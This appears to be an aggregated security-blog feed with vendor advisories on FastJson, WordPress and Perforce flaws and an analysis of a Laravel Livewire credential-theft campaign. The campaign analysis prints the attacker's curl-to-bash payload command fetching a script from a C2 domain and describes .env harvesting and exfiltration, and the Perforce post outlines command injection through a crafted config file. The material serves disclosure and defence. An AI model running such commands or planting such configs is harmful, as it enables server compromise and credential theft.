Analysis of XCSSET v40 reveals a macOS malware targeting developers via Xcode. Unit 42 used advanced pattern matching and AI to decode its logic.

The post The Xcode Assassin Returns: A Deep Dive Into the Latest XCSSET Version appeared first on Unit 42.

Unit 42 details a Chinese speaking threat actor combining autonomous AI scanning across seven vulnerabilities with manual exploitation. Read more.

The post Chinese-Speaking Threat Actor Harnesses AI Models for Autonomous Cyberattacks appeared first on Unit 42.

TL;DR: A critical remote code execution vulnerability has been disclosed in FastJson, a widely used JSON processing library for Java. The vulnerability, assigned CVE-2026-16723 with a CVSS score of 9.0 (Critical), affects FastJson versions 1.2.68 through 1.2.83 under specific Spring Boot deployment conditions and can be exploited using malicious JSON without authentication, enabling AutoType, or relying on third-party gadget classes. 

Imperva customers are protected against exploitation attempts associated with this vulnerability. Organizations using FastJson 1.x should enable SafeMode immediately and prioritize migration to FastJson 2.x. 

About the FastJson Vulnerability 

On July 21, 2026, the FastJson maintainers published a security advisory for a critical remote code execution vulnerability discovered by FearsOff Cybersecurity. FastJson is an open-source Java library originally developed by Alibaba for serializing Java objects into JSON and deserializing JSON into Java objects. 

The vulnerability affects FastJson versions 1.2.68 through 1.2.83, including 1.2.83, the final release in the FastJson 1.x branch. It’s been assigned CVE-2026-16723, with a CVSS score of 9.0, or Critical. According to the official FastJson advisory, exploitation has been verified in Spring Boot applications deployed as executable fat JARs across Spring Boot 2.x, 3.x, and 4.x and JDK versions 8, 11, 17, and 21. 

The issue is particularly dangerous because it is exploitable under FastJson’s default configuration. AutoType does not need to be enabled, and attackers do not need a suitable third-party gadget class to be present in the application’s classpath. Applications are potentially exposed when they process attacker-controlled JSON using common methods including JSON.parse, JSON.parseObject(String), and JSON.parseObject(String, Class). 

Specifying a target class during deserialization does not fully mitigate the vulnerability. An attacker may still be able to place a malicious payload inside a field typed as an Object or Map. 

How the Vulnerability Works 

FastJson supports polymorphic deserialization through the @type field, which identifies the Java class that should be instantiated from supplied JSON. Although FastJson 1.x disables AutoType by default and applies checks intended to prevent untrusted classes from being instantiated, the newly disclosed vulnerability exposes an alternate path through its internal type-resolution logic. 

An attacker can submit specially crafted JSON containing a malicious @type value. During processing, FastJson may perform resource lookups based on the attacker-controlled class name. In affected Spring Boot fat-JAR deployments, an attacker can manipulate this behavior using nested JAR URLs, bypass FastJson’s normal type restrictions, and reach a code-execution path without supplying a conventional deserialization gadget. 

This bypass is possible because FastJson 1.x can treat the presence of a @JSONType annotation as a trust signal during type resolution. The attacker-controlled resource lookup and annotation-based trust behavior combine to circumvent the protections normally associated with disabling AutoType. 

Successful exploitation can allow an unauthenticated remote attacker to execute arbitrary code with the privileges of the affected Java application. This could lead to data theft, malware or webshell deployment, credential compromise, lateral movement, or complete takeover of the underlying server. Public proof-of-concept information is available, substantially increasing the likelihood of rapid exploitation. 

FastJson 2.x is not affected. Its type-resolution architecture does not perform equivalent resource probing on user-controlled class names, does not use @JSONType as a trust signal, and uses an allowlist-first model for polymorphic type handling. 

What We’re Seeing 

So far, attacks exploiting this vulnerability are targeting a wide range of organizations, across Financial Services, Healthcare, Computing, Retail, Business, and other industries.

Attacks are currently almost entirely targeting US-based organizations, with a few attacks in Singapore and Canada, although this will likely continue to expand globally.  

Most attacks are coming from browser impersonators, although tools written in Ruby and Go account for about 30% of all attacks collectively.  

Mitigation and Protection 

Imperva customers are protected against exploitation attempts associated with CVE-2026-16723. Imperva Cloud WAF and WAF Gateway inspect incoming HTTP requests and identify malicious JSON payloads, suspicious @type values, nested JAR URL patterns, and remote code execution techniques before they reach vulnerable applications. 

Organizations should not rely on perimeter protection as a substitute for remediation. FastJson 1.x is no longer actively maintained, and no patched 1.x version has been released for this vulnerability. Organizations using an affected release should take the following actions: 

• Enable FastJson SafeMode immediately using the JVM option -DFastJson.parser.safeMode=true, the FastJson.parser.safeMode=true property, or ParserConfig.getGlobalInstance().setSafeMode(true).  

• Alternatively, use a FastJson noneautotype build, which removes the vulnerable AutoType-related code at compile time.  

• Inventory Java and Spring Boot applications for FastJson dependencies, including transitive dependencies.  

• Prioritize migration to FastJson 2.x after appropriate compatibility testing.  

• Review application and WAF logs for suspicious JSON requests containing @type fields or jar:http and jar:file URL patterns.  

• Investigate potentially affected systems for unexpected process execution, outbound connections, unauthorized file changes, webshells, or other indications of compromise.  

Because exploitation requires no authentication, no user interaction, and no external gadget library, exposed applications running affected configurations should be treated as high-priority remediation targets. Imperva customers remain protected while organizations identify vulnerable deployments, enable SafeMode, and migrate away from FastJson 1.x. 

The post Imperva Customers Protected Against CVE-2026-16723: Critical FastJson 1.x Zero-Day RCE appeared first on Blog.

Unit 42 details a Russian cyberespionage campaign targeting Zimbra webmail servers using JavaScript injection to steal credentials.

The post Russian Global Webmail Espionage appeared first on Unit 42.

TL;DR: A critical pre-authentication Remote Code Execution (RCE) vulnerability, dubbed “wp2shell” (CVE-2026-63030), has been identified in WordPress Core. This vulnerability allows an unauthenticated attacker to execute arbitrary code on a vulnerable WordPress installation without any preconditions, such as plugins or specific configurations. 
Given that WordPress powers over 500 million websites, this vulnerability poses a significant risk to the global web ecosystem. 

Vulnerability Overview  

The vulnerability exists within the WordPress REST API, specifically affecting the /wp-json/batch/v1 and ?rest_route=/batch/v1 endpoints. An unauthenticated attacker can exploit this endpoint to achieve RCE.

Affected WordPress Versions: 

• 6.9.0 – 6.9.4 (Fixed in 6.9.5) 

• 7.0.0 – 7.0.1 (Fixed in 7.0.2) 

(Note: WordPress versions older than 6.9.0 are not affected by this specific vulnerability.)

Mitigation and Protection 

Imperva customers with both Cloud WAF and WAF-GW deployments are protected against exploitation attempts associated with the “wp2shell” vulnerability. Cloud WAF automatically inspects and blocks requests targeting the vulnerable REST API endpoints at the edge, mitigating the risk before it reaches your backend services. 

For organizations utilizing WAF-GW, we are providing policy updates to further harden protection. Administrators should apply the latest security policy updates to their WAF-GW environments to ensure these enhanced inspection capabilities are active. These updates provide another layer of defense, blocking the specific patterns associated with unauthorized batch API access before they can be processed by the WordPress core.

Recommended Best Practices 

While Imperva provides protection at the edge, we strongly recommend that all WordPress administrators take the following steps: 

1. Update Immediately: Ensure your WordPress installation is updated to the latest secure versions (6.9.5 or 7.0.2) as soon as possible. This is the only definitive way to resolve the underlying vulnerability. 
2. Emergency Mitigation: If an immediate upgrade is not possible, you can temporarily mitigate the risk by blocking access to the affected REST API endpoints:
   • Block requests to the path: /wp-json/batch/v1
   • Block requests containing the query parameter: rest_route=/batch/v1 

Note: These mitigation measures may impact legitimate site functionality and should only be used as a temporary stopgap until you are able to perform the necessary software updates. For more technical details regarding the vulnerability discovery, please refer to the official research advisory from Searchlight Cyber. 

The post Imperva Customers Protected Against “wp2shell” Pre-Authentication RCE in WordPress Core appeared first on Blog.

A technical analysis of three chained zero-day vulnerabilities in Siemens ROX II OT switches that allow privilege escalation and persistent root access.

The post Three Steps to the Terminal: A Siemens ROX II Zero-Day Trilogy appeared first on Unit 42.

TuxBot v3 Evolution, an IoT botnet framework built with LLMs. Read our analysis of its cross-compiled binaries, C2 architecture and bugs.

The post TuxBot v3: Inside an IoT Botnet Framework With LLM-Assisted Development appeared first on Unit 42.

Executive Summary 

In this article, we disclose our latest findings we made on Perforce protocol P4 (Helix Core) between command line client and server, and reveal how a threat actor could leverage it to conduct attacks. 

This security issue affects P4 (Helix Core)  before P4 (Helix Core) 2025.2 Patch 2, was patched and was attributed a CVSS score of 7.7 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L). See our recommendation section and the Perforce advisory for more information. 

Perforce Helix Client  

Perforce Helix Client is a version control system often used for large projects and teams that work with many files or large assets. 

While Git and SVN are great for many projects, Perforce shines in environments with massive codebases or large binary files, like game development or VFX. It handles millions of files efficiently, lets teams lock files to prevent merge conflicts on non-text assets, and supports partial checkouts so developers don’t need the entire repository locally. 

Architecture 

Perforce operates on a centralized client-server architecture model, where the command-line client (p4) communicates directly with a centralized Perforce server responsible for managing the repository, metadata, and access controls. This communication can be established through Perforce’s native protocol (default port 1666) or wrapped into HTTPS to ensure encrypted data transmission.  

Fig. 1: Basic single server architecture  

• p4 info: typically one of the first commands executed to verify server connectivity and retrieve essential information, including server version, root directory…  
• The p4 client command creates and manages workspace specifications, defining the local root directory, depot paths, and the client view mapping that determines file accessibility.
• The p4 login command establishes authenticated sessions with the server, generating temporary tickets that allow subsequent commands to execute without re-entering credentials.
• The p4 sync, add, submit, revert … commands enable developers to manage the lifecycle of files in their workspace (synchronization, modification, addition, submission, and undoing changes). 

Eventually, whenever the P4CONFIG variable is set (usually .p4config), the client automatically loads configuration variables such as P4USER, P4PORT, P4CLIENT and P4PASSWD from the designated config file discovered in the current directory or home directory. This hierarchical configuration resolution applies within the scope of P4CLIENTPATH, allowing workspace-specific configurations to override global system settings. 

Details 

The Perforce client-server communication relies on a custom binary protocol, in which each message carries a set of parameters and a handler name designating the operation to be executed by the receiver. Multiple messages can be chained within a single exchange. 

Fig. 2: Extract from a clear traffic dump of a p4 info request 

This communication can be secured by SSL while the fingerprint of the server is added into a trust local file located at P4TRUST (itself defined in the p4 config file). 

During our investigation, we recorded the server traffic of several sensitive responses (triggering SSO response, writing files with arbitrary content to arbitrary location, etc. ) and observed that no validation of server response exists in the client side: 

1. No expiration timeout exists, as our recorded responses could work even days after they were generated. 
2. No session id is used during a connection. Therefore, we recorded the traffic between our client and server; and used the exact same response bytes in the dockerized POC that we shared with Perforce security team.  
3. The client doesn’t verify if the server response matches the request it initiated. 

Beyond the risk of replay attacks, the last point makes the following scenario possible:  

1. A threat actor shares the details of an unknown server to the victim. 
2. Upon initial connection to the server, it immediately responds with an instruction to write a malicious line into a configuration file ( ~/.p4enviro or .p4config for instance). The expression, P4LOGINSSO=<malicious shell command>, will be executed by any new p4 command. 

Indeed, the P4LOGINSSO environment variable is designed for SSO integrations: when set, the p4 client executes its value as a shell command to obtain authentication credentials.  

Fig. 3: Illustration of the first attack scenario 

Another scenario we presented was the following: 

• A threat actor shares a project including a hidden .p4config file with specially crafted P4PORT and P4LOGINSSO variables. 
• The victim executes any legitimate p4 command. 
• This command is sent to the malicious server defined in P4PORT that returns a “client-sso” instruction, immediately executed on the client side. 

Fig. 4: Illustration of the second scenario 

Post Exploitation 

Once exploited, this flaw enables attackers to achieve arbitrary code execution under the victim’s user account: the same context in which the p4 command runs.  

This grants full local control, allowing theft of sensitive data (e.g., source code, intellectual property, credentials), modification of files or configurations for persistence or further compromise, and disruption of workflows through file deletion or system resource exhaustion.  

In environments handling high-value assets, such as game development studios, VFX pipelines, or large-scale software projects, the business impact can be substantial, including IP loss, production delays, and potential downstream effects on team collaboration or supply chain integrity. 

Mitigation 

Following the reception of our report, Perforce security team requested an embargo until the release of v2026.1 (May 2026) to give them time to patch this issue.  

The fix introduced a built-in protection in the client that prevents syncing or submitting files matching Perforce configuration file names (.p4enviro, .p4config, etc.), regardless of workspace settings. The P4_SYSTEMIGNORE variable can be used to extend this list. However, this does not address the lack of binding between client requests and server responses, nor the absence of a replay timeout or session id. 

Recommendations  

Update your system to the latest available version. 

Organizations using Perforce command line client should treat this issue seriously and adopt the following guidelines: 

• Prevent exchange of configuration files from unvetted sources. 
• Educate users on the dangers of connecting to unknown or shared Perforce endpoints and encourage verification of server authenticity before executing any commands. 
• Enforce encrypted connections to reduce exposure to man in the middle attacks. 
• Monitor for unusual p4 activity, including unexpected server connections or configuration sourcing. 

Conclusion 

This vulnerability in the Perforce Helix Client highlights how widely used version control systems can contain overlooked risks in their core client-server communication, assumptions that the server is always trustworthy or responses are inherently safe. 

In environments with massive, distributed asset pipelines, such protocol-level gaps can quietly expose teams to compromise through everyday interactions like querying server info or loading shared configurations. 

As development tools evolve toward greater automation, integration, and reliance on external or unvetted endpoints, these subtle trust boundaries deserve renewed scrutiny. This finding is a reminder that supply chain attacks do not require compromising a central registry: embedding a malicious configuration file in a shared project artifact could be sufficient to achieve code execution across an entire team. 

Timeline 

October 20 2025 – Disclosure sent to Perforce security team.

October 21 2025 – Report acknowledged by the Perforce security team.

March 9 2026 – Patch released for 2025.2 and backported to prior supported versions. 

May 18 2026 – Release of 2026.1 and publication of the security advisory.  

The post Code Injection in Perforce Helix Core (CVE-2026-6902) appeared first on Blog.

Introduction

On May 24, 2026, Imperva observed exploitation attempts against Laravel Livewire applications, blocked by the Imperva Cloud WAF. What initially appeared to be unremarkable deserialization attack traffic turned out to be part of a large-scale credential theft operation exploiting CVE-2025-54068, a critical unauthenticated RCE vulnerability in Laravel Livewire v3 (versions up to v3.6.3).

The campaign, first documented here, has been running for several months, as evidenced by the large volume of stolen data. Recovery and analysis of the attacker’s exfiltration infrastructure revealed credentials harvested from 6,167 distinct applications spanning dozens of countries and sectors, from e-commerce and healthcare to financial services, education, and government. The attacker’s FTP server contained 1,851+ database dumps and 18+ email lists with over 26 million addresses, indicating the stolen credentials were being actively exploited. Attribution indicators throughout the malware and associated infrastructure point to an Indonesian-origin threat actor.

Attack Vectors and TTPs

Initial Access: CVE-2025-54068 Exploitation

CVE-2025-54068 is a critical vulnerability in Laravel Livewire v3 caused by improper validation of component property updates during the framework’s hydration process. When a Livewire component state is restored from a browser request, Livewire v3 (up to v3.6.3) fails to verify the integrity of the submitted data before deserializing it. An unauthenticated attacker can inject a malicious serialized PHP object into this request, triggering arbitrary code execution on deserialization.

The following HTTP request, reconstructed from our captured attack traffic, illustrates the exploitation:

For full technical details on this vulnerability, please see the disclosure here.

Payload Analysis

The exploitation requests we captured contained serialized PHP objects constructed using PHPGGC gadget chains. These chains abuse legitimate PHP classes already present in Laravel applications to achieve code execution during deserialization. The attacker’s payload executes the following command:

curl -skfsSL hxxps://xantibot[.]pw/database-sell/shoc.enz | tr -d '\r' | bash >/dev/null 2>&1 &

This fetches a shell script from the attacker’s C2 server and pipes it directly into bash, executing it in the background with all output suppressed.

Malware Analysis

The credential stealer deployed in this campaign is a 5,269-byte Bash shell script named shoc.enz (SHA256: 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e). At the time of our analysis, this sample was not present in VirusTotal.

Execution Flow

The malware follows an eight-stage execution process:

1. Environment Setup: Creates a temporary working directory at /tmp/xxxxx
2. Process Check: Verifies no existing shoc.sh processes are running to prevent multiple instances
3. File Discovery: Recursively scans the entire filesystem for .env files using the find command
4. Credential Extraction: Parses discovered files for DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and APP_KEY values
5. Data Collection: Copies matching files to a staging directory with randomized filenames
6. Compression: Archives collected files using zip or tar.gz
7. Exfiltration: Uploads archives to three separate C2 channels
8. Cleanup: Deletes the local staging directory to remove forensic evidence

Exfiltration Infrastructure

The threat actor operates a redundant three-channel exfiltration system:

Channel	Endpoint	Purpose
Primary	FTP @ 47.129.100.149:21	Main credential storage
Secondary	api.telegram.org	Notifications and small file uploads
Tertiary	upload.gofile.io	Backup cloud storage

Our investigation confirmed active access to all three channels. The FTP server contained 7 directories of stolen data, including full database dumps such as FULL_DUMP_[REDACTED_IP]>_2026-04-29_0418.sql.gz. The GoFile account showed owner-level access with 11,179 files totalling 309.9 MB.

Attribution Indicators

Multiple indicators point to an Indonesian-origin threat actor: Indonesian-language comments in the malware source code, a timezone reference to Asia/Jakarta, and the Telegram handle @ashtarotz (“黐線佬 Wong Gen Deng”) linked to xantibot[.]pw, a domain that presents publicly as a legitimate anti-bot service while hosting the malware payload. Analysis of the domain, and telegram channel metadata also point to Indonesian origin.

The GoFile exfiltration account was registered to azrilsyahputra1337@gmail[.]com. Cross-referencing this address against public breach data reveals it appears in three separate historical breaches of BreachForums (November 2022, August 2025, and March 2026), placing the operator within underground breach communities over an extended period.

What Was Stolen: Analysis of the Recovered Data

Laravel applications store all sensitive configuration in a single .env file: database credentials, API keys, payment processor secrets, cloud access keys, and encryption keys. This makes the file an exceptionally high-value target. A single .env file can provide everything needed to access the application’s database, impersonate users, process payments, and access cloud infrastructure.

Analysis of the recovered collection revealed credentials from 6,167 distinct applications. Of 21,916 unique files analysed, 29% declared a production environment, though the true proportion is higher as many files labeled local contained live payment keys and real domain URLs.

The breakdown of exposed credentials:

Credential Type	Count
Database passwords (real, non-default)	14,566 (66.5%)
Production applications with DB credentials	5,784
Confirmed live Stripe secret keys (sk_live_)	188
Valid AWS IAM credentials (AKIA format)	381
JWT secrets	2,929
Google OAuth client secrets (GOCSPX-)	2,409
Filament admin panel passwords	2,232
SMTP passwords	7,176 (32.7%)

 

The FTP server contained over 1,850 full database dump files, confirming the stolen credentials were actively used to extract database contents.

Targeting

The campaign scanned for vulnerable Laravel installations indiscriminately, with victims spanning online gambling and betting (400+ platforms, predominantly Brazilian and Southeast Asian operators), e-commerce, healthcare, education, logistics, and financial services. Multiple confirmed .gov domains were present in the dataset, showing the scanner made no distinction between commercial and public-sector targets. Recognizable open-source Laravel applications were present in the dataset, including the invoicing platform Invoice Ninja, accounting software Akaunting, event ticketing platform Attendize, photo gallery Lychee, and restaurant management system TastyIgniter. Applications were registered across .com, .ru, .site, .online, .br, .tr, .id, .ke, and dozens of other TLDs. Any organization running unpatched Laravel Livewire v3 was a potential victim.

Conclusion and Recommendations

This campaign illustrates how straightforward credential theft, when combined with a high-impact vulnerability and automated scanning, can scale to thousands of victims in a short window. Recovery of the exfiltration infrastructure revealed credentials from over 6,000 distinct applications, including 188 live Stripe payment keys, 381 valid AWS IAM credentials, and database passwords for nearly 5,800 confirmed production systems. For many victims, the initial server compromise is only the beginning of the exposure.

We recommend the following actions for defenders:

1. Patch immediately: Update Laravel Livewire to version 3.6.4 or later to remediate CVE-2025-54068. This is the single most effective mitigation.
2. Block outbound FTP: Production web servers should not require outbound FTP access. Block port 21 egress and alert on any connection attempts to 47.129.100.149.
3. Monitor for suspicious API access: Alert on connections from web servers to api.telegram.org and upload.gofile.io, which are atypical for production Laravel applications.

If you believe your organization has been compromised, rotate all database credentials and Laravel APP_KEY values immediately, and review database access logs for unauthorized activity.

Indicators of Compromise

IP Addresses

• 86.88.234 (Attack source)
• 129.100.149 (FTP C2 server)
• 63.67.153 (Webhook server)

Domains and URLs

• pw
• hxxps://xantibot[.]pw/database-sell/shoc.enz
• hxxps://webhook[.]site/b156c0b1-3e2f-41b4-a9a3-f492e50a0595

File Hashes (SHA-256)

• 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e (shoc.enz)

MITRE ATT&CK Mapping

Technique ID	Technique Name	Campaign Usage
T1190	Exploit Public-Facing Application	CVE-2025-54068 exploitation
T1059.004	Unix Shell	Bash script execution via piped curl
T1105	Ingress Tool Transfer	curl retrieval of shoc.enz payload
T1083	File and Directory Discovery	Recursive filesystem scan for .env files
T1552.001	Credentials In Files	.env file harvesting
T1560.001	Archive Collected Data: Archive via Utility	zip/tar.gz staging archive creation
T1041	Exfiltration Over C2 Channel	Telegram Bot API exfiltration
T1048.003	Exfiltration Over Unencrypted Non-C2 Protocol	FTP exfiltration to 47.129.100.149
T1567.002	Exfiltration to Cloud Storage	GoFile uploads
T1070.004	File Deletion	Staging directory cleanup post-exfiltration
T1036	Masquerading	Randomized archive and staging folder names

 

Imperva Threat Research continues to monitor this campaign. Imperva customers are fully protected against exploitation of CVE-2025-54068. Customers requiring further guidance on this vulnerability are encouraged to contact Imperva support.

The post CVE-2025-54068 Laravel Livewire Credential Theft Campaign: 6,000+ Applications Compromised appeared first on Blog.